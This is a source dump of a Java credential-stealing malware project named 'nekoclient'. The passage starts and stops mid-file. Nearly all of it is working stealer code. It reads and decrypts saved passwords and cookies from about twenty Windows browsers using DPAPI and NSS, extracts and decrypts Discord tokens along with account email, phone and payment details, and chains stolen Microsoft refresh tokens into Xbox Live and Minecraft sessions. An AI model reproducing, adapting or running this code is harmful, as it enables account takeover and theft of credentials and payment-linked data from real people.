expires, boolean secure, boolean httpOnly) { 15 | this.host = host; 16 | this.path = path; 17 | this.name = name; 18 | this.value = value; 19 | this.expires = expires; 20 | this.secure = secure; 21 | this.httpOnly = httpOnly; 22 | } 23 | 24 | public final String getValue() { 25 | return this.value; 26 | } 27 | 28 | public final String getPath() { 29 | return this.path; 30 | } 31 | 32 | public final String getHost() { 33 | return this.host; 34 | } 35 | 36 | public final String getName() { 37 | return this.name; 38 | } 39 | 40 | @Override 41 | public boolean equals(Object obj) { 42 | if (!(obj instanceof Cookie)) { 43 | return false; 44 | } else { 45 | Cookie other = (Cookie)obj; 46 | return Objects.equals(this.name, other.getName()) 47 | && Objects.equals(this.host, other.getHost()) 48 | && Objects.equals(this.value, other.getValue()) 49 | && Objects.equals(this.path, other.getPath()); 50 | } 51 | } 52 | 53 | public final long getExpires() { 54 | return this.expires; 55 | } 56 | 57 | public final boolean isSecure() { 58 | return this.secure; 59 | } 60 | 61 | public final boolean isHttpOnly() { 62 | return this.httpOnly; 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/stealer/browser/impl/BrowserDataStealer.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.stealer.browser.impl; 2 | 3 | import com.eclipsesource.json.Json; 4 | import com.eclipsesource.json.JsonArray; 5 | import com.eclipsesource.json.JsonObject; 6 | import com.eclipsesource.json.JsonValue; 7 | import com.eclipsesource.json.ParseException; 8 | import com.sun.jna.Platform; 9 | import dev.neko.nekoclient.api.stealer.browser.BrowserData; 10 | import dev.neko.nekoclient.api.stealer.browser.cookie.Cookie; 11 | import dev.neko.nekoclient.api.stealer.browser.impl.credential.Credential; 12 | import dev.neko.nekoclient.api.stealer.browser.impl.decrypt.chrome.ChromeDecryptor; 13 | import dev.neko.nekoclient.api.stealer.browser.impl.decrypt.mozilla.MozillaDecryptor; 14 | import java.io.IOException; 15 | import java.io.InputStreamReader; 16 | import java.net.URL; 17 | import java.nio.file.Files; 18 | import java.nio.file.Path; 19 | import java.nio.file.Paths; 20 | import java.security.InvalidAlgorithmParameterException; 21 | import java.security.InvalidKeyException; 22 | import java.security.NoSuchAlgorithmException; 23 | import java.sql.Connection; 24 | import java.sql.DriverManager; 25 | import java.sql.ResultSet; 26 | import java.sql.SQLException; 27 | import java.sql.Statement; 28 | import java.util.Base64; 29 | import java.util.Collections; 30 | import java.util.List; 31 | import java.util.Objects; 32 | import java.util.stream.Collectors; 33 | import javax.crypto.BadPaddingException; 34 | import javax.crypto.IllegalBlockSizeException; 35 | import javax.crypto.NoSuchPaddingException; 36 | 37 | public class BrowserDataStealer { 38 | public static BrowserData read() { 39 | BrowserData browserData = new BrowserData(); 40 | if (!Platform.isWindows()) { 41 | return browserData; 42 | } else { 43 | readMozillaSafely(browserData, Paths.get(System.getenv("APPDATA"), "Mozilla", "Firefox", "Profiles")); 44 | readMozillaSafely(browserData, Paths.get(System.getenv("APPDATA"), "Waterfox", "Profiles")); 45 | readMozillaSafely(browserData, Paths.get(System.getenv("APPDATA"), "Pale Moon", "Profiles")); 46 | readMozillaSafely(browserData, Paths.get(System.getenv("APPDATA"), "Mozilla", "SeaMonkey", "Profiles")); 47 | readChromiumSafely(browserData, Paths.get(System.getenv("LOCALAPPDATA"), "Google", "Chrome", "User Data")); 48 | readChromiumSafely(browserData, Paths.get(System.getenv("LOCALAPPDATA"), "Microsoft", "Edge", "User Data")); 49 | readChromiumSafely(browserData, Paths.get(System.getenv("LOCALAPPDATA"), "BraveSoftware", "Brave-Browser", "User Data")); 50 | readChromiumSafely(browserData, Paths.get(System.getenv("LOCALAPPDATA"), "Vivaldi", "User Data")); 51 | readChromiumSafely(browserData, Paths.get(System.getenv("LOCALAPPDATA"), "Yandex", "YandexBrowser", "User Data")); 52 | readChromiumSafely(browserData, Paths.get(System.getenv("LOCALAPPDATA"), "Slimjet", "User Data")); 53 | readChromiumSafely(browserData, Paths.get(System.getenv("LOCALAPPDATA"), "CentBrowser", "User Data")); 54 | readChromiumSafely(browserData, Paths.get(System.getenv("LOCALAPPDATA"), "Comodo", "Dragon", "User Data")); 55 | readChromiumSafely(browserData, Paths.get(System.getenv("LOCALAPPDATA"), "Iridium", "User Data")); 56 | readChromiumSafely(browserData, Paths.get(System.getenv("LOCALAPPDATA"), "UCBrowser", "User Data")); 57 | readChromiumSafely(browserData, Paths.get(System.getenv("APPDATA"), "Opera Software", "Opera Beta")); 58 | readChromiumSafely(browserData, Paths.get(System.getenv("APPDATA"), "Opera Software", "Opera Developer")); 59 | readChromiumSafely(browserData, Paths.get(System.getenv("APPDATA"), "Opera Software", "Opera Stable")); 60 | readChromiumSafely(browserData, Paths.get(System.getenv("APPDATA"), "Opera Software", "Opera GX Stable")); 61 | readChromiumSafely(browserData, Paths.get(System.getenv("APPDATA"), "Opera Software", "Opera Crypto Stable")); 62 | readChromiumSafely(browserData, Paths.get(System.getenv("APPDATA"), "CryptoTab Browser", "User Data")); 63 | return browserData; 64 | } 65 | } 66 | 67 | public static void readMozillaSafely(BrowserData browserData, Path profilesDirectory) { 68 | try { 69 | readMozilla(browserData, profilesDirectory); 70 | } catch (Throwable var3) { 71 | } 72 | } 73 | 74 | public static void readMozilla(BrowserData browserData, Path profilesDirectory) throws IOException { 75 | if (Files.exists(profilesDirectory)) { 76 | for(Path profile : Files.walk(profilesDirectory, 1).filter(path -> !Objects.equals(path, profilesDirectory)).collect(Collectors.toList())) { 77 | Path cookiesFile = profile.resolve("cookies.sqlite"); 78 | if (Files.isRegularFile(cookiesFile) && Files.isReadable(cookiesFile)) { 79 | try { 80 | Connection connection = DriverManager.getConnection(String.format("jdbc:sqlite:%s", cookiesFile.toAbsolutePath())); 81 | Statement statement = connection.createStatement(); 82 | ResultSet resultSet = statement.executeQuery("SELECT * FROM moz_cookies"); 83 | 84 | while(resultSet.next()) { 85 | browserData.addCookie( 86 | new Cookie( 87 | resultSet.getString("host"), 88 | resultSet.getString("path"), 89 | resultSet.getString("name"), 90 | resultSet.getString("value"), 91 | (long)resultSet.getInt("expiry") * 1000L, 92 | Objects.equals(resultSet.getInt("isSecure"), 1), 93 | Objects.equals(resultSet.getInt("isHttpOnly"), 1) 94 | ) 95 | ); 96 | } 97 | 98 | resultSet.close(); 99 | statement.close(); 100 | connection.close(); 101 | } catch (SQLException var12) { 102 | } 103 | } 104 | 105 | Path loginsFile = profile.resolve("logins.json"); 106 | if (Files.isRegularFile(loginsFile) && Files.isReadable(loginsFile) && MozillaDecryptor.isSupported()) { 107 | MozillaDecryptor mozillaDecryptor = new MozillaDecryptor(); 108 | mozillaDecryptor.init(profile); 109 | 110 | try { 111 | JsonObject data = Json.parse(Files.newBufferedReader(loginsFile)).asObject(); 112 | if (Objects.nonNull(data.get("logins"))) { 113 | JsonArray logins = data.get("logins").asArray(); 114 | 115 | for(JsonObject login : logins.values().stream().map(JsonValue::asObject).collect(Collectors.toList())) { 116 | browserData.addCredential( 117 | new Credential( 118 | new URL(login.get("hostname").asString()), 119 | mozillaDecryptor.decrypt(Base64.getDecoder().decode(login.get("encryptedUsername").asString())), 120 | mozillaDecryptor.decrypt(Base64.getDecoder().decode(login.get("encryptedPassword").asString())) 121 | ) 122 | ); 123 | } 124 | } 125 | } catch (IOException | ParseException var13) { 126 | } 127 | 128 | mozillaDecryptor.shutdown(); 129 | } 130 | } 131 | } 132 | } 133 | 134 | public static void readChromiumSafely(BrowserData browserData, Path userData) { 135 | try { 136 | readChromium(browserData, userData); 137 | } catch (Throwable var3) { 138 | } 139 | } 140 | 141 | public static void readChromium(BrowserData browserData, Path userData) throws IOException, NoSuchPaddingException, NoSuchAlgorithmException, IllegalBlockSizeException, BadPaddingException, InvalidAlgorithmParameterException, InvalidKeyException { 142 | if (Files.exists(userData) && ChromeDecryptor.isSupported()) { 143 | JsonObject localState = Json.parse(new InputStreamReader(Files.newInputStream(userData.resolve("Local State")))).asObject(); 144 | List profiles = Objects.isNull(localState.get("profile")) 145 | ? Collections.singletonList(".") 146 | : localState.get("profile").asObject().get("info_cache").asObject().names(); 147 | ChromeDecryptor chromeDecryptor = new ChromeDecryptor( 148 | Base64.getDecoder().decode(localState.get("os_crypt").asObject().get("encrypted_key").asString()) 149 | ); 150 | 151 | for(String profile : profiles) { 152 | Path cookiesFile = userData.resolve(profile).resolve("Network").resolve("Cookies"); 153 | if (Files.isRegularFile(cookiesFile) && Files.isReadable(cookiesFile)) { 154 | try { 155 | Connection connection = DriverManager.getConnection(String.format("jdbc:sqlite:%s", cookiesFile.toAbsolutePath())); 156 | Statement statement = connection.createStatement(); 157 | ResultSet resultSet = statement.executeQuery("SELECT * FROM cookies"); 158 | 159 | while(resultSet.next()) { 160 | Cookie cookie = new Cookie( 161 | resultSet.getString("host_key"), 162 | resultSet.getString("path"), 163 | resultSet.getString("name"), 164 | chromeDecryptor.decrypt(resultSet.getBytes("encrypted_value")), 165 | resultSet.getLong("expires_utc") / 1000L, 166 | Objects.equals(resultSet.getInt("is_secure"), 1), 167 | Objects.equals(resultSet.getInt("is_httponly"), 1) 168 | ); 169 | browserData.addCookie(cookie); 170 | } 171 | 172 | resultSet.close(); 173 | statement.close(); 174 | connection.close(); 175 | } catch (SQLException var16) { 176 | } 177 | } 178 | 179 | Path loginDataFile = userData.resolve(profile).resolve("Login Data"); 180 | if (Files.isRegularFile(loginDataFile) && Files.isReadable(loginDataFile) && ChromeDecryptor.isSupported()) { 181 | try { 182 | Connection connection = DriverManager.getConnection(String.format("jdbc:sqlite:%s", loginDataFile.toAbsolutePath())); 183 | Statement statement = connection.createStatement(); 184 | ResultSet resultSet = statement.executeQuery("SELECT * FROM logins"); 185 | 186 | while(resultSet.next()) { 187 | String originUrl = resultSet.getString("origin_url"); 188 | String username = resultSet.getString("username_value"); 189 | byte[] password = resultSet.getBytes("password_value"); 190 | if (!originUrl.isEmpty() && !username.isEmpty() && password.length != 0) { 191 | Credential credential = new Credential(new URL(originUrl), username, chromeDecryptor.decrypt(password)); 192 | browserData.addCredential(credential); 193 | } 194 | } 195 | 196 | resultSet.close(); 197 | statement.close(); 198 | connection.close(); 199 | } catch (SQLException var17) { 200 | } 201 | } 202 | } 203 | } 204 | } 205 | 206 | static { 207 | try { 208 | Class.forName("org.sqlite.JDBC"); 209 | } catch (ClassNotFoundException var1) { 210 | } 211 | } 212 | } 213 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/stealer/browser/impl/credential/Credential.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.stealer.browser.impl.credential; 2 | 3 | import java.net.URL; 4 | import java.util.Objects; 5 | 6 | public class Credential { 7 | private final URL host; 8 | private final String username; 9 | private final String password; 10 | 11 | public Credential(URL host, String username, String password) { 12 | this.host = host; 13 | this.username = username; 14 | this.password = password; 15 | } 16 | 17 | public final URL getHost() { 18 | return this.host; 19 | } 20 | 21 | public final String getUsername() { 22 | return this.username; 23 | } 24 | 25 | public final String getPassword() { 26 | return this.password; 27 | } 28 | 29 | @Override 30 | public boolean equals(Object obj) { 31 | if (!(obj instanceof Credential)) { 32 | return super.equals(obj); 33 | } else { 34 | Credential other = (Credential)obj; 35 | return Objects.equals(other.getHost(), this.host) 36 | && Objects.equals(other.getUsername(), this.username) 37 | && Objects.equals(other.getPassword(), this.password); 38 | } 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/stealer/browser/impl/decrypt/chrome/ChromeDecryptor.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.stealer.browser.impl.decrypt.chrome; 2 | 3 | import com.sun.jna.Platform; 4 | import com.sun.jna.platform.win32.Crypt32Util; 5 | import java.security.InvalidAlgorithmParameterException; 6 | import java.security.InvalidKeyException; 7 | import java.security.NoSuchAlgorithmException; 8 | import java.util.Arrays; 9 | import java.util.Objects; 10 | import javax.crypto.BadPaddingException; 11 | import javax.crypto.Cipher; 12 | import javax.crypto.IllegalBlockSizeException; 13 | import javax.crypto.NoSuchPaddingException; 14 | import javax.crypto.spec.GCMParameterSpec; 15 | import javax.crypto.spec.SecretKeySpec; 16 | 17 | public class ChromeDecryptor { 18 | private final byte[] masterKey; 19 | private static final String EMPTY_STRING = ""; 20 | 21 | public ChromeDecryptor(byte[] masterKey) { 22 | if (!isSupported()) { 23 | throw new UnsupportedOperationException(); 24 | } else { 25 | this.masterKey = Crypt32Util.cryptUnprotectData(Arrays.copyOfRange(masterKey, 5, masterKey.length)); 26 | } 27 | } 28 | 29 | public String decrypt(byte[] encrypted) throws NoSuchPaddingException, NoSuchAlgorithmException, IllegalBlockSizeException, BadPaddingException, InvalidAlgorithmParameterException, InvalidKeyException { 30 | if (Objects.equals(encrypted.length, 0)) { 31 | return ""; 32 | } else { 33 | Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); 34 | cipher.init(2, new SecretKeySpec(this.masterKey, "AES"), new GCMParameterSpec(128, Arrays.copyOfRange(encrypted, 3, 15))); 35 | return new String(cipher.doFinal(Arrays.copyOfRange(encrypted, 15, encrypted.length))); 36 | } 37 | } 38 | 39 | public static boolean isSupported() { 40 | return Platform.isWindows(); 41 | } 42 | 43 | public final byte[] getMasterKey() { 44 | return this.masterKey; 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/stealer/browser/impl/decrypt/mozilla/MozillaDecryptor.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.stealer.browser.impl.decrypt.mozilla; 2 | 3 | import com.sun.jna.Native; 4 | import com.sun.jna.Platform; 5 | import java.nio.file.Files; 6 | import java.nio.file.Path; 7 | import java.nio.file.Paths; 8 | import java.util.Objects; 9 | 10 | public class MozillaDecryptor { 11 | private final NSSLibrary nssLibrary; 12 | 13 | public MozillaDecryptor() { 14 | if (!isSupported()) { 15 | throw new UnsupportedOperationException(); 16 | } else { 17 | this.nssLibrary = Native.load(getInstallationPath().toAbsolutePath().toString(), NSSLibrary.class); 18 | } 19 | } 20 | 21 | public void init(Path profile) { 22 | this.nssLibrary.NSS_Init(profile.toAbsolutePath().toString()); 23 | } 24 | 25 | public String decrypt(byte[] encryptedData) { 26 | SECItem input = new SECItem.ByReference(0, encryptedData, encryptedData.length); 27 | SECItem output = new SECItem.ByReference(0, null, 0); 28 | this.nssLibrary.PK11SDR_Decrypt(input, output, null); 29 | if (Objects.isNull(output.data)) { 30 | return null; 31 | } else { 32 | String decrypted = new String(output.data.getByteArray(0L, output.len)); 33 | this.nssLibrary.SECITEM_ZfreeItem(output, 0); 34 | return decrypted; 35 | } 36 | } 37 | 38 | public void shutdown() { 39 | this.nssLibrary.NSS_Shutdown(); 40 | } 41 | 42 | private static Path getInstallationPath() { 43 | return Paths.get(System.getenv("PROGRAMFILES"), "Mozilla Firefox", "nss3.dll"); 44 | } 45 | 46 | public static boolean isSupported() { 47 | return Platform.isWindows() && Objects.nonNull(System.getenv("PROGRAMFILES")) && Files.exists(getInstallationPath()); 48 | } 49 | 50 | public final NSSLibrary getNssLibrary() { 51 | return this.nssLibrary; 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/stealer/browser/impl/decrypt/mozilla/NSSLibrary.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.stealer.browser.impl.decrypt.mozilla; 2 | 3 | import com.sun.jna.Library; 4 | import com.sun.jna.ptr.PointerByReference; 5 | 6 | public interface NSSLibrary extends Library { 7 | void NSS_Init(String var1); 8 | 9 | int PK11_GetInternalKeySlot(PointerByReference var1); 10 | 11 | int PK11_FreeSlot(PointerByReference var1); 12 | 13 | int PK11_NeedLogin(PointerByReference var1); 14 | 15 | int PK11SDR_Decrypt(SECItem var1, SECItem var2, PointerByReference var3); 16 | 17 | void SECITEM_ZfreeItem(SECItem var1, int var2); 18 | 19 | void NSS_Shutdown(); 20 | } 21 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/stealer/browser/impl/decrypt/mozilla/SECItem.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.stealer.browser.impl.decrypt.mozilla; 2 | 3 | import com.sun.jna.Memory; 4 | import com.sun.jna.Pointer; 5 | import com.sun.jna.Structure; 6 | import java.util.Arrays; 7 | import java.util.List; 8 | import java.util.Objects; 9 | 10 | public class SECItem extends Structure { 11 | public int type; 12 | public Pointer data; 13 | public int len; 14 | 15 | @Override 16 | protected List getFieldOrder() { 17 | return Arrays.asList("type", "data", "len"); 18 | } 19 | 20 | public static class ByReference extends SECItem implements Structure.ByReference { 21 | public ByReference(int type, byte[] data, int len) { 22 | this.type = type; 23 | this.len = len; 24 | if (Objects.isNull(data)) { 25 | this.data = null; 26 | } else { 27 | Memory memory = new Memory((long)data.length); 28 | memory.write(0L, data, 0, data.length); 29 | this.data = memory; 30 | } 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/stealer/discord/DiscordAccount.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.stealer.discord; 2 | 3 | import com.eclipsesource.json.JsonArray; 4 | import com.eclipsesource.json.JsonObject; 5 | import com.eclipsesource.json.JsonValue; 6 | import java.util.List; 7 | import java.util.Objects; 8 | import java.util.stream.Collectors; 9 | 10 | public class DiscordAccount { 11 | private final String token; 12 | private final String id; 13 | private final String username; 14 | private final String discriminator; 15 | private final String email; 16 | private final String phone; 17 | private final boolean verified; 18 | private final boolean mfa; 19 | private final List badges; 20 | private final List paymentSources; 21 | 22 | public DiscordAccount( 23 | String token, 24 | String id, 25 | String username, 26 | String discriminator, 27 | String email, 28 | String phone, 29 | boolean verified, 30 | boolean mfa, 31 | List badges, 32 | List paymentSources 33 | ) { 34 | this.token = token; 35 | this.id = id; 36 | this.username = username; 37 | this.discriminator = discriminator; 38 | this.email = email; 39 | this.phone = phone; 40 | this.verified = verified; 41 | this.mfa = mfa; 42 | this.badges = badges; 43 | this.paymentSources = paymentSources; 44 | } 45 | 46 | public static DiscordAccount parse(String token, JsonObject profile, JsonObject user, JsonArray paymentSources) { 47 | return new DiscordAccount( 48 | token, 49 | user.get("id").asString(), 50 | user.get("username").asString(), 51 | user.get("discriminator").asString(), 52 | user.get("email").asString(), 53 | user.get("phone").asString(), 54 | user.get("verified").asBoolean(), 55 | user.get("mfa_enabled").asBoolean(), 56 | profile.get("badges").asArray().values().stream().map(JsonValue::asObject).map(object -> object.get("id").asString()).collect(Collectors.toList()), 57 | paymentSources.values() 58 | .stream() 59 | .map(JsonValue::asObject) 60 | .filter(source -> !source.getBoolean("invalid", true)) 61 | .map(source -> source.get("brand")) 62 | .filter(Objects::nonNull) 63 | .map(JsonValue::asString) 64 | .collect(Collectors.toList()) 65 | ); 66 | } 67 | 68 | public final String getToken() { 69 | return this.token; 70 | } 71 | 72 | public final String getId() { 73 | return this.id; 74 | } 75 | 76 | public final String getUsername() { 77 | return this.username; 78 | } 79 | 80 | public final String getDiscriminator() { 81 | return this.discriminator; 82 | } 83 | 84 | public final List getBadges() { 85 | return this.badges; 86 | } 87 | 88 | public final String getEmail() { 89 | return this.email; 90 | } 91 | 92 | public final String getPhone() { 93 | return this.phone; 94 | } 95 | 96 | public final boolean isVerified() { 97 | return this.verified; 98 | } 99 | 100 | public final boolean isMfa() { 101 | return this.mfa; 102 | } 103 | 104 | public final List getPaymentSources() { 105 | return this.paymentSources; 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/stealer/discord/impl/DiscordStealer.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.stealer.discord.impl; 2 | 3 | import com.eclipsesource.json.Json; 4 | import com.sun.jna.Platform; 5 | import com.sun.jna.platform.win32.Crypt32Util; 6 | import java.io.IOException; 7 | import java.io.InputStreamReader; 8 | import java.nio.file.Files; 9 | import java.nio.file.Path; 10 | import java.nio.file.Paths; 11 | import java.security.InvalidAlgorithmParameterException; 12 | import java.security.InvalidKeyException; 13 | import java.security.NoSuchAlgorithmException; 14 | import java.util.ArrayList; 15 | import java.util.Arrays; 16 | import java.util.Base64; 17 | import java.util.List; 18 | import java.util.regex.Matcher; 19 | import java.util.regex.Pattern; 20 | import java.util.stream.Collectors; 21 | import javax.crypto.BadPaddingException; 22 | import javax.crypto.Cipher; 23 | import javax.crypto.IllegalBlockSizeException; 24 | import javax.crypto.NoSuchPaddingException; 25 | import javax.crypto.spec.GCMParameterSpec; 26 | import javax.crypto.spec.SecretKeySpec; 27 | 28 | public class DiscordStealer { 29 | public static List retrieve() { 30 | List tokens = new ArrayList<>(); 31 | if (!Platform.isWindows()) { 32 | return tokens; 33 | } else { 34 | retrieveLocalDiscordInstallationSafely(tokens, "discord"); 35 | retrieveLocalDiscordInstallationSafely(tokens, "discordcanary"); 36 | retrieveLocalDiscordInstallationSafely(tokens, "discordptb"); 37 | retrieveLocalDiscordInstallationSafely(tokens, "Lightcord"); 38 | return tokens; 39 | } 40 | } 41 | 42 | private static void retrieveLocalDiscordInstallationSafely(List tokens, String channel) { 43 | try { 44 | retrieveLocalDiscordInstallation(tokens, channel); 45 | } catch (Throwable var3) { 46 | } 47 | } 48 | 49 | private static void retrieveLocalDiscordInstallation(List tokens, String channel) throws InvalidAlgorithmParameterException, NoSuchPaddingException, IllegalBlockSizeException, IOException, NoSuchAlgorithmException, BadPaddingException, InvalidKeyException { 50 | Path path = Paths.get(System.getenv("APPDATA"), channel); 51 | retrieveChromeTokens(tokens, path.resolve("Local State"), path.resolve("Local Storage").resolve("leveldb")); 52 | } 53 | 54 | private static void retrieveChromeTokens(List tokens, Path localState, Path localStorage) throws IOException, InvalidAlgorithmParameterException, InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException, IllegalBlockSizeException, BadPaddingException { 55 | if (Files.exists(localState) && Files.exists(localStorage)) { 56 | byte[] encodedKey = Base64.getDecoder() 57 | .decode(Json.parse(new InputStreamReader(Files.newInputStream(localState))).asObject().get("os_crypt").asObject().get("encrypted_key").asString()); 58 | byte[] key = Arrays.copyOfRange(encodedKey, 5, encodedKey.length); 59 | Pattern pattern = Pattern.compile("dQw4w9WgXcQ:([^\"]*)\""); 60 | 61 | for(Path path : Files.walk(localStorage).filter(pathx -> pathx.getFileName().toString().endsWith(".ldb")).collect(Collectors.toList())) { 62 | Matcher matcher = pattern.matcher(new String(Files.readAllBytes(path))); 63 | 64 | while(matcher.find()) { 65 | byte[] encryptedToken = Base64.getDecoder().decode(matcher.group(1)); 66 | Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); 67 | cipher.init( 68 | 2, new SecretKeySpec(Crypt32Util.cryptUnprotectData(key), "AES"), new GCMParameterSpec(128, Arrays.copyOfRange(encryptedToken, 3, 15)) 69 | ); 70 | String token = new String(cipher.doFinal(Arrays.copyOfRange(encryptedToken, 15, encryptedToken.length))); 71 | if (!tokens.contains(token)) { 72 | tokens.add(token); 73 | } 74 | } 75 | } 76 | } 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/stealer/msa/auth/ClientType.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.stealer.msa.auth; 2 | 3 | public class ClientType { 4 | public static final String EXTERNAL_TOKEN_TYPE = "d"; 5 | public static final String DEFAULT_SCOPE = "service::user.auth.xboxlive.com::mbi_ssl"; 6 | public static final String EXTERNAL_SCOPE = "XboxLive.signin offline_access"; 7 | public static final String DEFAULT_TOKEN_TYPE = "t"; 8 | public static final ClientType DEFAULT = new ClientType("00000000402B5328", "service::user.auth.xboxlive.com::mbi_ssl", "t"); 9 | public static final ClientType POLYMC = new ClientType("6b329578-bfec-42a3-b503-303ab3f2ac96", "XboxLive.signin offline_access", "d"); 10 | public static final ClientType PRISM = new ClientType("c36a9fb6-4f2a-41ff-90bd-ae7cc92031eb", "XboxLive.signin offline_access", "d"); 11 | public static final ClientType TECHNIC_LAUNCHER = new ClientType("8dfabc1d-38a9-42d8-bc08-677dbc60fe65", "XboxLive.signin offline_access", "d"); 12 | public static final ClientType LABYMOD = new ClientType("27843883-6e3b-42cb-9e51-4f55a700601e", "XboxLive.signin offline_access", "d"); 13 | private final String clientId; 14 | private final String scope; 15 | private final String tokenType; 16 | 17 | public ClientType(String clientId, String scope, String tokenType) { 18 | this.clientId = clientId; 19 | this.scope = scope; 20 | this.tokenType = tokenType; 21 | } 22 | 23 | public final String getClientId() { 24 | return this.clientId; 25 | } 26 | 27 | public final String getScope() { 28 | return this.scope; 29 | } 30 | 31 | public final String getTokenType() { 32 | return this.tokenType; 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/api/stealer/msa/auth/MicrosoftAuth.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.api.stealer.msa.auth; 2 | 3 | import com.eclipsesource.json.Json; 4 | import com.eclipsesource.json.JsonValue; 5 | import dev.neko.nekoclient.api.stealer.msa.auth.credentials.MicrosoftCredentials; 6 | import dev.neko.nekoclient.api.stealer.msa.auth.credentials.MinecraftCredentials; 7 | import dev.neko.nekoclient.api.stealer.msa.auth.credentials.XSTSCredentials; 8 | import dev.neko.nekoclient.api.stealer.msa.auth.credentials.XboxLiveCredentials; 9 | import dev.neko.nekoclient.utils.FormUtil; 10 | import java.io.IOException; 11 | import java.io.InputStreamReader; 12 | import java.net.URL; 13 | import java.util.HashMap; 14 | import java.util.List; 15 | import java.util.Map; 16 | import java.util.Objects; 17 | import java.util.stream.Collectors; 18 | import javax.net.ssl.HttpsURLConnection; 19 | 20 | public class MicrosoftAuth { 21 | public static MicrosoftCredentials refreshToken(MicrosoftCredentials microsoftCredentials) throws IOException { 22 | return refreshToken(microsoftCredentials.getRefreshToken(), microsoftCredentials.getClientType()); 23 | } 24 | 25 | public static MicrosoftCredentials refreshToken(String refreshToken, ClientType clientType) throws IOException { 26 | Map params = new HashMap<>(); 27 | params.put("client_id", clientType.getClientId()); 28 | params.put("redirect_uri", "https://login.live.com/oauth20_desktop.srf"); 29 | if (Objects.nonNull(clientType.getScope())) { 30 | params.put("scope", clientType.getScope()); 31 | } 32 | 33 | params.put("response_type", "token"); 34 | params.put("refresh_token", refreshToken); 35 | params.put("grant_type", "refresh_token"); 36 | HttpsURLConnection connection = (HttpsURLConnection)new URL("https://login.live.com/oauth20_token.srf").openConnection(); 37 | connection.setDoOutput(true); 38 | connection.setDoInput(true); 39 | connection.setRequestMethod("POST"); 40 | connection.setRequestProperty("Accept", "application/json"); 41 | connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); 42 | connection.getOutputStream().write(FormUtil.encodeToForm(params).getBytes()); 43 | return MicrosoftCredentials.parseResponse(Json.parse(new InputStreamReader(connection.getInputStream())).asObject(), clientType); 44 | } 45 | 46 | public static XboxLiveCredentials retrieveXboxLiveCredentials(MicrosoftCredentials microsoftCredentials) throws IOException { 47 | return retrieveXboxLiveCredentials(microsoftCredentials.getAccessToken(), microsoftCredentials.getClientType().getTokenType()); 48 | } 49 | 50 | public static XboxLiveCredentials retrieveXboxLiveCredentials(String microsoftAccessToken, String tokenType) throws IOException { 51 | HttpsURLConnection connection = (HttpsURLConnection)new URL("https://user.auth.xboxlive.com/user/authenticate").openConnection(); 52 | connection.setDoOutput(true); 53 | connection.setDoInput(true); 54 | connection.setRequestMethod("POST"); 55 | connection.setRequestProperty("Content-Type", "application/json"); 56 | connection.setRequestProperty("Accept", "application/json"); 57 | connection.getOutputStream() 58 | .write( 59 | Json.object() 60 | .add( 61 | "Properties", 62 | Json.object() 63 | .add("AuthMethod", "RPS") 64 | .add("SiteName", "user.auth.xboxlive.com") 65 | .add("RpsTicket", String.format("%s=%s", tokenType, microsoftAccessToken)) 66 | ) 67 | .add("RelyingParty", "http://auth.xboxlive.com") 68 | .add("TokenType", "JWT") 69 | .toString() 70 | .getBytes() 71 | ); 72 | return XboxLiveCredentials.parseResponse(Json.parse(new InputStreamReader(connection.getInputStream())).asObject()); 73 | } 74 | 75 | public static XSTSCredentials retrieveXSTSCredentials(XboxLiveCredentials xboxLiveCredentials) throws IOException { 76 | return retrieveXSTSCredentials(xboxLiveCredentials.getToken()); 77 | } 78 | 79 | public static XSTSCredentials retrieveXSTSCredentials(String xboxLiveToken) throws IOException { 80 | HttpsURLConnection connection = (HttpsURLConnection)new URL("https://xsts.auth.xboxlive.com/xsts/authorize").openConnection(); 81 | connection.setDoOutput(true); 82 | connection.setDoInput(true); 83 | connection.setRequestMethod("POST"); 84 | connection.setRequestProperty("Content-Type", "application/json"); 85 | connection.setRequestProperty("Accept", "application/json"); 86 | connection.getOutputStream() 87 | .write( 88 | Json.object() 89 | .add("Properties", Json.object().add("SandboxId", "RETAIL").add("UserTokens", Json.array(xboxLiveToken))) 90 | .add("RelyingParty", "rp://api.minecraftservices.com/") 91 | .add("TokenType", "JWT") 92 | .toString() 93 | .getBytes() 94 | ); 95 | return XSTSCredentials.parseResponse(Json.parse(new InputStreamReader(connection.getInputStream())).asObject()); 96 | } 97 | 98 | public static MinecraftCredentials retrieveMinecraftCredentials(XSTSCredentials xstsCredentials) throws IOException { 99 | HttpsURLConnection connection = (HttpsURLConnection)new URL("https://api.minecraftservices.com/authentication/login_with_xbox").openConnection(); 100 | connection.setDoOutput(true); 101 | connection.setDoInput(true); 102 | connection.setRequestMethod("POST"); 103 | connection.setRequestProperty("Content-Type", "application/json"); 104 | connection.setRequestProperty("Accept", "application/json"); 105 | connection.getOutputStream() 106 | .write( 107 | Json.object() 108 | .add("identityToken", String.format("XBL3.0 x=%s;%s", xstsCredentials.getUserHash(), xstsCredentials.getToken())) 109 | .toString() 110 | .getBytes() 111 | ); 112 | return MinecraftCredentials.parseResponse(Json.parse(new InputStreamReader(connection.getInputStream())).asObject()); 113 | } 114 | 115 